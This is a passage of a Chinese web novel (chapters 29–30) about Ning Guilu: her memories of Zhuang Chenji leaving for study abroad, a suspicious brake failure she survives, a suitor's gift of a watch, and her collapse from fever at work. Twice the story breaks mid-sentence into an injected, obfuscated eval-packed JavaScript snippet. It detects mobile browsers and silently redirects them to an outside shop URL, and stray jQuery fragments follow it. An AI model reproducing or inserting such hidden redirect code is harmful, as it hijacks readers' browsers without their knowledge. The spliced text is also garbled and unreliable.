“我尽量努力。今天又麻烦您了。”咨询结束,他文质彬彬地起身,向她颔首,礼貌而客气地离开了房间,一分钟不多耽误。 此时已七点多,穿过咨询室长廊,途径成人心理门诊,还有不少人安静地坐在长椅上等待诊疗。 他们大多是独自一人来的,有的甚至还带着笔记本电脑,半蹲在地上,对着椅子敲着键盘。相比儿童区孩子和父母的叫嚷、啜泣声,这儿安静得有一种沉郁的死气。 助理已经下班,他独自穿过人群,从空旷的长梯上缓步走下去。 手机“叮”了一声,是进消息了。 他随意看了眼,脚步突然滞住。 ——“你检查完了没有?什么情况?回个消息呀,我都要等睡着了。” 该怎么形容那一刻的感受? 好像是一只走丢的猫,翻了很久的垃圾桶,饥肠辘辘地走到巷口时,发现主人正拿着罐头挨家挨户问: 你看到我家小猫了吗? 29. 第二十九章 宁瑰露直觉他那胃病有点蹊跷,等了大半个晚上才追问到他情况,就收到一句轻描淡写的: 小毛病,没什么事。 他这个人,认识这么多年了,但她对他的了解一直都不全面。 比如他的嘴硬程度,比如他认定了一件事到底会有多固执,比如他到底是个好人,还是坏人…… 往前翻一翻,找到十多年前的老黄历。 那时国内刮起一阵留□□,各式各样的英语培训机构、留学机构、双语学校雨后春笋般发展壮大。 当年宁启明夫妇也动过送她出去留学的念头,想让她“睁眼看世界”,学校和顾问都联系好了,只要她去考个试,就能先出去读一年预科,再申请名校,结果被老爷子一把摁了回去。 宁瑰露倒无所谓,待国内上大学还是去国外再读一年预科,对她来说都一样,反正只要上学就是一件特没劲的事——书上那些东西对她而言没有难度,朝八晚五的上下学时间日复一日乏味枯燥。 不过,如果能和熟人一块出国留学,从此天高任鸟飞,海阔任鱼跃,那也不错。 所以八字还没一撇的时候,她就屁颠屁颠地问庄谌霁想不想跟她一块出去留学。 她读美本,他申请交换生,或者留美读研,大不了她先过去等他一年。 电话打过去,他没有立刻回答。过了一夜,他说好。 结果呢,她没有出去,他倒是去读英硕了,可见世事变幻莫测。 他的offer是11月28下来的,她记得很清楚。 那年初雪来得很早,11月初就飘起了鹅毛大雪。 外婆在大雪天摔了一跤。 是那年没的。 第一天宁瑰露去医院看外婆的时候,外婆还絮絮叨叨地和她说要穿棉袄和棉靴,羽绒服不保暖,光好看没用。 宁瑰露从雪里跑到住院部,鞋子还是湿淋淋的。 外婆让她脱了鞋,对着暖气片烤烤脚,摸着她的手絮絮叨叨说了老多话,她都不记得,就记得外婆的手粗糙又暖和,捂着她的脸,困困的,晕乎乎的。 她睡了一觉,醒了,外婆推推她,说:“哥哥接你来了,快回去吧。” 宁江艇当时在外地上大学,没回来。外婆说来接她的人是在京市上大学的庄谌霁。 她迷迷瞪瞪的,也没和外婆说再见。庄谌霁给她穿上袜子鞋,和外婆道了声别,拉着她往外去,她就跟着走了。 这一走,她再没看到外婆最后一面。 外婆是那天晚上走的。 小老太婆,摔着腰,动不了身。晚上总哎哟哎哟地小声喊着疼,又怕吵着别人,不敢喊大声了。 陪床的护工说,刚睡的时候老人家还在呻-吟,过了两个钟头,没听见声了,她觉着不对劲,赶紧爬起来看。 老太太头侧在一边,脸色被暖气烤得红红的,瞧着像睡过去了一样,可她一摸脖子,再一探气,已经没了。 外婆是在那个冬天走的。 她一整个冬天都沉浸在悲恸之中。 或许是怕她难过,又或许是怕她任性耍脾气拦着他。庄谌霁也是悄无声息地走的。 后来他回国,宁瑰露玩笑地问过他一次,当时出国的事怎么不和她说一声,是怕她拦着他吗? 他说11月28日,她外婆摔倒的那天,他的第一个录取offer下来了,他是想和她说的。 但没有说。 后来的事,宁瑰露其实也能理解,在那个多生事端的时期,他要出国的确怎么都不好对她开口。 说他坏吧,他还顾及她丧亲之痛,不忍心让她再更伤心。 说他好吧,难道他不说,她就不会知道,就不会难过了? ——好吧,也算他了解她,她确实只是很短暂地难过了一下。 从他没有一丝犹豫地选择了远大前程而不是她的时候,她就不可能再为他多难过,也不能再回头吃他这根回头草了。 走了一个庄谌霁,来了一个张思珩。感情衔接得让她连伤春悲秋的时间都没有。 张思珩比他带劲多了。 她和庄谌霁算是朦朦胧胧了三四年吧,连拉个小手的次数都屈指可数。 她和张思珩正式交往的第一个星期,就已经亲上了,干柴烈火燃得她早把年少不懂事那点朦胧情意忘去了九霄云外。 她这个人可能天生不长情,和小时候上兴趣班一样,都是三分钟热度。 上头上得快,撂爪忘得也快。 谁在她身边,她就爱谁。 对着他不知道是真没事,还是装没事的回复看了几秒,她最后只回了三个字: 那就行。 这个月才刚开始,月假还没休,她打算调到月底,约庄谌霁去云蒙山上走一趟,把话聊开。这么不尴不尬地僵着,她也挺难受。万一实在没话说就埋头走路,当爬山爬累了,至少也有个台阶下。 可惜人算不如天算,计划赶不上变化。 她还没规划好这件事,月中上面突然下了份文件,要求集中力量,全面推进一个机密核心研发任务。 宁瑰露“揭榜挂帅”,领命赴任,驻扎进了实验室。 这一忙,一个月悄然过去了。 她泡在实验室和生产车间里,在临时办公室铺了张折叠床,一个月不见太阳,去合作单位取资料时才发觉盛夏已至。 车停了一个月没挪动,落了一层厚厚的灰尘。忙里偷闲,她先去洗车店叫个快洗把车洗了,又找了家小馆子吃饺子。 她这工作说消失就消失,没法和亲朋好友打招呼的。好在家里人都知道她的工作性质,给她打了几个电话,她没回,就清楚她又有任务了。 坐小馆里,饺子蘸醋,她把家里的消息回了一下。 大伯发了张家宴图,是盘夹心南瓜饼,不是模具做的,都是阿姨手捏的果子,一个个小巧玲珑,炸得金黄娇嫩。 大伯说:得空了回家吃饭,老爷子还特地给你留了一盘。 她回:大伯,刚看到消息。爷爷最近身体还好吗? 大伯母也发了好几条,围绕的核心话题还是她的个人问题。让她有时间多回回人小伙消息,别把人晾着了。 她把置顶的家人消息回了回,再往下翻。辜行青和李骧都给她发了不少消息,相当骇人,囤了有近百条未读消息。 她看了下聊天记录,太长,两三下划不到头。辜行青发的都是些日常生活和定点早晚安。她这会儿也没空展开聊天,看到了也就只看到了,没回。 李骧发了十来条,刚开始发了些医院的琐事日常,发现她都没回后就不发了,后面发的都是汇报她大伯母联系他的一系列事情。 倒是有一张图。李骧拍了张她家的小花园,夏至草和点地梅长得很茂密。他又说宁爷爷老人家身体还健旺,就是血压血糖有点高,在这个年纪也不算很大的问题。 他没交代得很细,宁瑰露稍微一琢磨就知道是大伯和大伯母带他去见了老爷子。 宁瑰露都能想到大伯和大伯母是怎么想的——老爷子这么大年纪了,还不知道能不能看到孙女婿。等她找个人确定关系都不知得到猴年马月,先让老爷子见见人。 她之前还骂宁江艇来着,其实她自己也没恭孝到哪里去。她这工作忠孝难两全。回京两三个月了,就见了老爷子两回。 想到这,她回了李骧:“有心了,有时间了再请你吃饭。” 他们这个圈子里,大多数人年轻时候都挺混的,但到了年龄就突然都安分守己老实找个门当户对的结婚了。以前不理解,现在回旋镖扎自己脑门了。 出于爱情的,二十五六已经结婚生娃了。到他们这个年纪才结婚的,目的无非一个,事业家庭两碗水端不平,找个人来一块端着而已。 就这么看,李骧挺合格的。工作虽然也忙,但比她好点。外科医生,还能帮着照看照看老爷子。性格也稳重,挺好了。 总觉得还忘了点什么事。 她又翻了翻列表,一些无关痛痒的消息她就没点开了,划拉了一路,忽然惊讶地想起竟然没有在未读消息里看见庄谌霁的消息。 她点开和他的聊天框,更惊讶地发觉他们的消息还停留在一个月前,她问他胃病怎么回事,他说没事,她说那就行。 上个月说月底有时间再谈谈的事,她忙起来忘了,他也没再提。 他是太忙了,也忘了,还是又把她拉黑了? 不能吧。 她琢磨了会儿,在聊天框里敲了个问号发了出去。 消息发的很顺畅,没有再跳出来感叹号。 这就有点尴尬了。 宁瑰露把上面那个问号撤回,找补了下,发了条语音:“本来上个月想订个云蒙山的徒步团,叫你一块去的,临时有任务,只能改天再约。或者你哪天有时间,提前给我留个言?” 消息发了出去。 她自觉这番话说得挺有诚意的了。对别人她都没回这么多字呢。 又过了一个星期,她再看消息。李骧给她发的照片多了几张,辜行青给她发的渐渐少了,庄谌霁——一个字没回。 一个字都没回! 她先回了李骧:看到了。辛苦你了,这么忙还替我去看老爷子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13190426|135645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又回辜行青:我最近忙,没空看手机,不用再回这条。你好好吃饭,好好学习。 对庄谌霁,就没这么官方了。 她问:“怎么个事啊?没看到还是不想回?生气了?” “我是真的在忙,不是放你鸽子。” “谌霁哥?” “二哥?” “回个信呗。” 她挠了挠头,感觉有点棘手,好像真把人得罪了。 出尔反尔的确实是她,人家生气也有理……道个歉? 她拨了电话过去,没接通。 正想着算了,电话又打回来了。 宁瑰露当时正开着车从实验室回公寓,戴着蓝牙耳机,随手接通了电话。 电话那头的声音很低,很沉,他说:“喂。” “哎呦喂——我以为您不打算接我电话了呢!”宁瑰露阴阳怪气完,没好气道,“我给你发的消息你怎么不回?” “什么时候发的?” 她轻咳一声,“你没看到?就最近啊。” “我现在在开曼群岛,不在国内。” “哦,出差是吗?行吧,那你忙吧。” “不是。休假。”他简单说了这四个字。 宁瑰露惊讶地“嗯?”一声,想起现在已经7月了,“是趁暑假,带你儿子出去玩?” 庄谌霁那边是一片沉默。 宁瑰露听了听:“你不是在海岛上吗?怎么没点浪声。” “在房间里。” 他似乎是起了身。宁瑰露听到窗帘拉开的声音,接着有海鸥啼鸣传来。 光是听声音,她已经能想到海岛、沙滩、阳光、鸡尾酒和古铜色皮肤型男。 啧。人比人得死,货比货得扔。 她忙得像陀螺,而有人正在享受阳光沙滩和度假,光是想想她都要嫉妒得面目全非了。 “行了,那你享受你的度假吧。我开车呢,不说呢。”宁瑰露没忍住打了个哈欠,眼泪横飙。 “国内现在七点了吧?才下班?” “嗯。”说着要挂,但还是有一句没一句地聊着,“昨天一个同事出了点事……” 她简单交代了下始末。 单位有位工程师大约是熬了几个通宵过度疲劳了,上班开车撞上护栏,还好当时车速不快,又在市区,人撞晕了,及时送了医院,有点脑震荡,这会儿人还在医院观察。 上面很重视这个事,紧急通知所有工人和工程师严格执行两班倒。 宁瑰露明天白班,透支了一个多月休息时间,确实熬不住了,想着今天回去洗个澡,好好睡一觉。 庄谌霁听出了她的困意,问:“你怎么不叫个代驾?” “不至于,就几公里的路。” 车从郊区往市区赶,途径一片宽阔的无人大道,远处是十字路口。 她踩了点刹车,在车速纹丝不变时察觉了异常。 刹车失灵了? 她皱了皱眉头,当机立断松油门减档。车速从50km减到了40km,还是很快。 她心跳已经跃到了嗓子眼,电话里庄谌霁还在低声交代她开车注意安全。 宁瑰露当时神情极其冷静,像被哐地浇了一泼冷水,什么困倦都没了。 “庄谌霁。”她轻声说,语气极其冷静。 电话那边一静,庄谌霁好像意识到什么,问她:“发生什么了?” “我刹车好像坏了。”她说。 事后他很难描述那一刻的感受,只在当下那一刻,他感觉心脏在胸腔里上下翻腾猛地滚翻了一圈,冷汗倏地下来了。 “你现在在……” 他话还没说完,就听见电话里一声尖锐刺耳的刹车音,接着几声仿佛爆炸般地猛烈砰响。 电话断了。 一辆拉载货物的半挂毫无预兆地打着远光灯从右侧路口冲出。 宁瑰露正要拧钥匙熄火的手当即松开,调转方向盘一脚油门踩下去,撞上了马路护栏。 前挡风玻璃被撞出花了,她松油门、减档、拧钥匙熄火,一气呵成。 直到车稳稳停下了,她那颗即将从嗓子眼跳出来的心脏才缓缓落下去。 她扭身回头看了眼冲出来的那辆半挂,那亮着明光的长车已经消失在了夜里。 如果她没有及时打方向盘,没有及时发现刹车有问题,在半挂冲出来的那一瞬间已经没有反应的机会了。 她当时坐在车里。 耳机、手机,车内一切不固定的物体都已撞成了一片。 她冷静地想。 不是意外,是谋杀。 30. 第三十章 一晚上的休息时间泡汤了。 她借路人手机打了交警电话,等交警来的过程中回忆了下最近的行程。 上个月刹车还是好的,这个月除了实验室、车间、办公室,几乎没有去过其他地方。 她的车一直停在单位楼下,如果有人想动手脚,也躲不过地面监控,除非监控跟着一块出了问题。 一根烟渺渺燃着,她从死里逃生的惊险中沉静下来,疲惫得连每一根神经都在叫嚣着要休息。 交警赶来的速度比她想的要快,记录了事故现场,宁瑰露坐交警的车去了队里签事故陈述书。 处理她事故的交警姓廖,问她要不要先打个电话给家里。 她接过廖警官的手机,发了一会儿愣,一时竟不知道先给谁打电话。 她手机撞上挡风玻璃,屏幕撞了个稀碎,中框都撞弯了。交警给了她一个证物袋装手机,让她之后跟保险一并报损。 思来想去,她登了工作软件,先给单位安全保障部负责人员报了个事故备案。 杂七杂八一处理,就已经快九点了,她还在调行车记录仪监控,突然听门口一阵喧哗。 她突然失联,庄谌霁仓促报了警,随后又拨了她家里的电话。 相比他的鞭长莫及,大伯和大伯母动作利落且条理清晰得多,直接联系了交警查今晚报案记录,随即就找到了正在交警大队走流程的宁瑰露。 他们匆匆赶来交警大队,还不待宁瑰露分辨几句没事,就被大伯和大伯母强行钳去了医院做检查。 坐在医院炽光灯下排队做核磁共振的时候,她才从一晚的惊心动魄里品出些荒诞不经的黑色幽默来,仰靠着冰冷的瓷面墙,一哂,再度长长叹气。 孟叔给她带了个新手机,她插上电话卡给庄谌霁回拨了个电话,语音却提示他那边手机已关机。 不知道他做什么去了,她留了条言:打你电话没通。车刹住了,我没事。 习惯了长话短说,消息发出去,品了品,感觉语气太淡薄,有点对不住人家一晚上的担心,于是又加了句:你安心休假,不用挂心 正斟酌用词,忽听一声: “瑰露!” 青年穿着简单的条纹半袖衬衫和浅色长裤,从楼梯口大步走来。 宁瑰露怔了下,放下手机:“你怎么也来了?” 大伯母斜瞥她一眼,抱臂说:“我叫他来的。” 宁瑰露:“……” 她已经被俩领导训了一路,说她主意太大,这么大的事竟然不第一时间联系家里。她真没什么事,这弄得一大帮人来陪着她,不知道的得以为她今年才9岁。 “叔叔阿姨好。”李骧先同她大伯和大伯母打招呼,紧着又问她,“怎么出的车祸?撞到哪里没有?头晕不晕?” 她简单道:“撞上护栏,系着安全带,没磕着碰着。” 李骧伸出手,在她额发边顿了顿,又收了回去,仓促道:“我和同事打个招呼,看能不能给你先做。” “小李同志。” 她握住了他肩膀,用力按了一下,摇了摇头。 大伯也看了他们一眼,说:“不着急,再等等。” “可你……”李骧皱着眉头,“你和别人不一样。” 宁瑰露弯了弯嘴唇,微哂:“我怎么不知道我和别人不一样?” “你可是……” 他抿住唇,低声道:“公立医院就是这点不方便。” 大伯母也抬手往下一压,道:“小李,镇静。” 李骧遇到过不少上赶着让他给专家号加塞的,还没见过他主动提,人家不要的。 他想了想,自以为琢磨过来了,锤了锤额头,一时不免懊恼:“是我鲁莽了,确实影响不好,不好意思。” 大伯看他一眼,淡淡的,没说什么。 大伯母给他找了个台阶下,又指指宁瑰露旁边的空位:“关心则乱,坐吧。” 不端领导架子的时候,她还是个很和蔼可亲,通情达理的小老太太。 笑眯眯道:“你们俩这些日子,有没有见见面呀?” 宁瑰露看李骧一眼,示意他答。李骧实诚道:“我和露露工作都忙了点,还没什么机会多碰面。” “年轻人,怎么能一心扑在工作上呢?” 大伯母温言说:“小李,露露的工作性质你知道的。她时间紧,任务重,难免不能面面俱到。你是男人,多做一点牺牲。你宁叔叔当初追我的时候,白天在关州开会,晚上就坐动车回来约我吃饭。那时候交通还没你们现在这么方便呢。” 李骧有些赧然,又看宁瑰露一眼,道:“您说的对,我会尽力协调好工作和……家庭的。” 大伯母又推推她膝盖,示意她也说两句。 宁瑰露叹口气,语气有些敷衍:“我尽量。” 她随性惯了,在感情的事上就没正经规划过,更没被人推着走过,突然被家里人盯着、催着谈恋爱,好像无形中披上了一副枷锁,让人不多痛快。 “小露。”大伯开口。 宁瑰露知道他也要发表两句意见,无奈地“哎”一声。 大伯敲打她:“你爸妈明年就退了,你也该定定心了。” 宁瑰露自打成年后就很少思量起她那对造两个孩子出来就不管事了的便宜爹妈,一时愣了愣:“明年?四月吗?” “嗯。”大伯应一声。 “你呀你,心大如斗,这么大的事一点都不上心!”大伯母拍了她大腿一下,“毕竟是爸爸妈妈,你有时间也应该和他们多联系联系呀。” 宁瑰露沉默半响,挠挠头,“嗯”了一声。 小时候爬墙上树,上天入地,心也大,从来没觉得没在父母身边长大是件多伤心的事,长大了更不会因此难过了。 只是不知道什么时候开始,“父母”这个词对她而言变得越来越生疏。 “爷爷”是个很亲近的词,“大伯”“大伯母”是些很亲近的词,甚至“大哥”“二哥”这些词说起来都很顺口亲近,唯独提起“爸妈”,她已经不知道要用什么样的态度和语气来对待。 小时候写作文,同学都写:温柔的妈妈、严厉的爸爸、忙碌的妈妈、狡猾的爸爸…… 虽然是贴标签般的形容词,倒也还算具象。宁瑰露咬着笔杆子,琢磨半响,写下: 伟大的父母 一篇作文洋洋洒洒,恢宏磅礴,写文化、写思想、写奉献,立意高大,每每登上范文榜。但细一琢磨,若不是套上“父母”两个字,作文内容已离题万里。 冷不丁地意识到他们要回来了,宁瑰露还真不知道身为子女,摆出个什么态度来才算合适。 这一晚上她劳命又伤神。做完检查,已经近十一点,她把大伯和大伯母送上车,绷着的那根筋才松下来。 医院灯光通明,倒愈发显得夜色漆黑。 李骧回头看她时,她单手插兜站在路灯下,影子竖条条地落在正前方,孤零零的。 “你送了我两次了,这次我送你回去吧。”李骧笑着走过来。 宁瑰露眼皮子有点重,摸了下裤兜,空空的,“不回去了,困了,我去附近酒店睡。耽误你跑一趟,你回去休息吧。” 他犹豫了下,说:“那我送你去酒店。” 李骧同志不显山不露水,车竟然是辆高标辉腾。 宁瑰露上了车,安全带一拉眼睛一合就先眯了。 李骧拉开后车门,从后面拎出个袋子,进驾驶室的时候发现她抱着手臂已经睡了。 他无奈笑了下,将袋子放在中间,先开车送她去酒店。 宁瑰露现在闭上眼睛还是刚刚刹车失灵的那幕。她索性发散思绪,仔细回忆起最近发生的每件事。 车停了,她也睁开了眼。 李骧正拿着小毯子小心翼翼想往她身上盖,对上她倏地睁眼的目光,一时有点儿尴尬。 “不用了,没睡着。”她转头看了眼窗外,见已经到酒店门口,便道,“我先走了,你也早点回去休息。” “瑰露。” 他将毯子搭在自己胳膊上,低声叫她。 宁瑰露起了点鸡皮疙瘩,面上不动:“怎么?” 他将准备好的礼品袋子递给她:“之前就想送你,一直没机会。” 纯绿色的袋子,底部一个小小的王冠。 宁瑰露看了眼,一下笑了:“小李同志,做医生的都这么挣钱吗?” 他抿唇笑了下,没多解释,只说:“谢谢你上次送我的生日礼物,我很喜欢。” 若是平常,怎么也要顺着他的话调笑一句:上次的什么生日礼物?抓娃娃还是……约会? 她今天的确太累了,开玩笑的精力都没了,只弯弯唇,“谢谢,心意收到了,我的表戴了十几年了,已经习惯了,不想换。” “那就先收着。哪天想换换口味了再戴。” 他干脆将盒子从袋子里拿出来,清脆一声响,打开了精致的绿盒,里面是一块宇宙计型款腕表。 可惜媚眼抛给瞎子看。 她是个纯粹的实用主义者,从一块表能戴十几年不换就可见一斑。 “先试一下腕带合不合适,好吗?”他摘出表,轻声问她。 见她没动,只是眼皮有些困倦地耷拉着,他轻轻试探着,握过她戴着表的左腕。 今夜她无心谈情说爱,只想梦周公。 漠然地看着他小心翼翼地取下她手腕上的老旧腕表,换上了一块新的机械表。 白金的腕带合上,严丝合缝。 他手指摩挲着表盘,低着头,声音很轻:“瑰露,我知道……你们在一起五年,我们才认识五天,可能还比不过他。我不知道他在你心里有多深,但我想试一试。” 宁瑰露慢半拍地想:谁? “试什么?” 她开口先问这个。 他抬起头,浓眉大眼,清俊疏朗,很板正端庄的相貌,能叫见他的人都说一句不违心的帅。 他诚恳说:“我想试试,取代他在你心里的位置。” 宁瑰露:“……” 她那困倦掉线的思绪这才缓慢接上他的脑回路:“……你说谁?” “张……”他只说了一个姓,就抿住了唇。 他执着地摩挲着那款腕表,好像透过腕表在摩挲她的皮肤。 他认真说:“我不在乎你过去和谁在一起,我会证明我们才是最适合的。” 宁瑰露:“……………” 她抽回了手,已经困得懒得分辨,懒怠道:“好,那我拭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13214235|135645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目以待。” 解开安全带,她拿起解落的老表,起身下车,一摆手道:“困死了,我走了。” “瑰露!”他忍不住叫她。 宁瑰露头也没回地进了酒店。 看着空下来的副驾驶,和她刚关门时那一声好似不太愉快地“砰”响,李骧懊恼于自己的操之过急。 他太着急了,和她甚至还没多交心就已经亮明了底牌。 可他清楚,她身边围绕的狂蜂烂蝶只多不少,他不主动,就会把她身边的位置拱手相让。 如果按部就班地走,按她的工作强度,等一年他们也还只是朋友。 他一向做事有规划,徐徐图之,工作上无往不利,他相信自己这一次定然也能攻坚克难,达成所愿。 毕竟她还是说了——拭目以待,不是吗? 宁瑰露一进酒店房间,把空调开到最低温,也没再洗漱,倒头就睡了。 还没盖被子,衬衫和长裤也没换。 她困得有点脑仁混沌了,眼睛一眯,几乎是昏迷式地睡到了第二天。 她摸了摸手机想看时间,盯了半天手机仍是黑屏的时候想起来这新手机电量不足,她又没充电,死机了。 她趴着睡的,胳膊腿已经压麻了,呲牙咧嘴地抬了抬手脚活动血液,又扒拉到床头无线充电把手机往上一扔,身上凉成冰棍了,她卷着被子把自己裹起来,又摸着空调遥控器把空调关了,熟悉地感觉到了两个鼻孔堵得不出气,嗓子眼发干。 小时候每到夏天,家里阿姨晚上就要进她房间检查一遍她空调开了多少度,有没有盖被子。 现在没有阿姨盯着她了,吹一次空调着一次凉。 宁瑰露用公鸭嗓“哎哟卧槽”了一声,又清清嗓子,明显感觉扁桃体发炎了。 充上一点电的手机一开机,各种消息纷至沓来。 宁瑰露看了下时间,已经十一点半了。 同事的消息和单位的未接来电已经淹没了她的短信和电话。 她神经在短暂一紧后彻底开摆。 也不着急上班了,等着手机充电的过程中先去冲了个澡,洗漱了一下。 头疼头晕,她也没太当回事,清楚八成吹空调吹得有点感冒了,回去喝两包感冒药压压就行。 洗完澡,手机充了百分之二十的电了,她按轻重缓急先给单位回了电话,又接着给同事回电话,请了半天假,说身体不适。 她昨晚出了场不大不小的车祸的事估计也在单位传开了,不少同事发消息来慰问她。 宁瑰露没时间一一回,才打了几个电话手机又没了电。 她耗了一个小时充了点余电,下楼退了房,打车回单位。 俗话说得好,牛有休息,马有休息,牛马没有休息。 她失联这半天,堆积的事大约已经够埋到她后腰上了。 她是赶着饭点到单位的,接受了一路的注目和慰问,也先上食堂吃了口饭。 食欲不多,还有点反胃,她只吃了几口饭菜,勉强喝了半碗汤,接着就进办公室整理起了工作。 还没半小时,车间打电话过来,说他们给的图纸关键尺寸数据和实际对不上,打样机还等着,她过不去的话得等下一批打完再返工了。 宁瑰露操起手机和车钥匙…… 车钥匙? 操!我车没了! 她满脑门官司地出去打了个车直奔车间,可能是跑了几步,身上冷汗直冒。 “师傅,你空调能调高点吗?” “什么空调,我没开空调,车窗还开着呢!”师傅说。 宁瑰露哑口无言,只能抱抱胳膊捂出点热意。 赶到生产车间,她又马不停蹄上生产线。车间机械工作噪音嘈杂,她操着一口公鸭嗓喊负责人。 一张嘴感觉嗓子眼能喷出火了。 监理带的小助理很有眼力见,忙中见缝插针递了杯温水给她。 “图纸没问题,你们做的管道厚度比我给的数据高了1毫米!这批残次品我不是让质检报废了吗?怎么又上生产线了!负责这条线的质量监察是谁?!” 她将图纸往机床上一拍,怒不可遏。 “宁工,曹工在N2车间,已经派人去找他了,您先坐一下。” 宁瑰露一摆手挥开,又把报废的样品拾起来看了一遍,气笑了,“打磨的线是谁负责的?这活干得够糙啊!” 她声音已经哑得不成样了,如果有镜子,就能看到她此刻满脑门都是汗,前胸后背湿透了。 不过车间没有空调,大家都热得淌汗,也没人这时候再敢插句题外话问她是不是不舒服。 宁瑰露将那一把管子扔进报废篓里。 众人只看见她站在原地皱了皱眉头,正兢兢战战生怕下一个就骂到自己头上,却在下一秒看见她抓了把桌沿,没抓住,她直挺挺地倒了。 一片人仰马翻中,唯一的女助理摸了摸她脸,惊恐地大喊:“好烫!她晕厥了!快打120!” 宁瑰露其实没昏过去,就是当时突然眼前一黑,意识还清楚,但感觉四肢都很麻痹沉重,承不住人,一下倒了。 听到小同事大喊打120的时候,宁瑰露在心里再次长叹口气。 行,这下她在单位彻底成名了。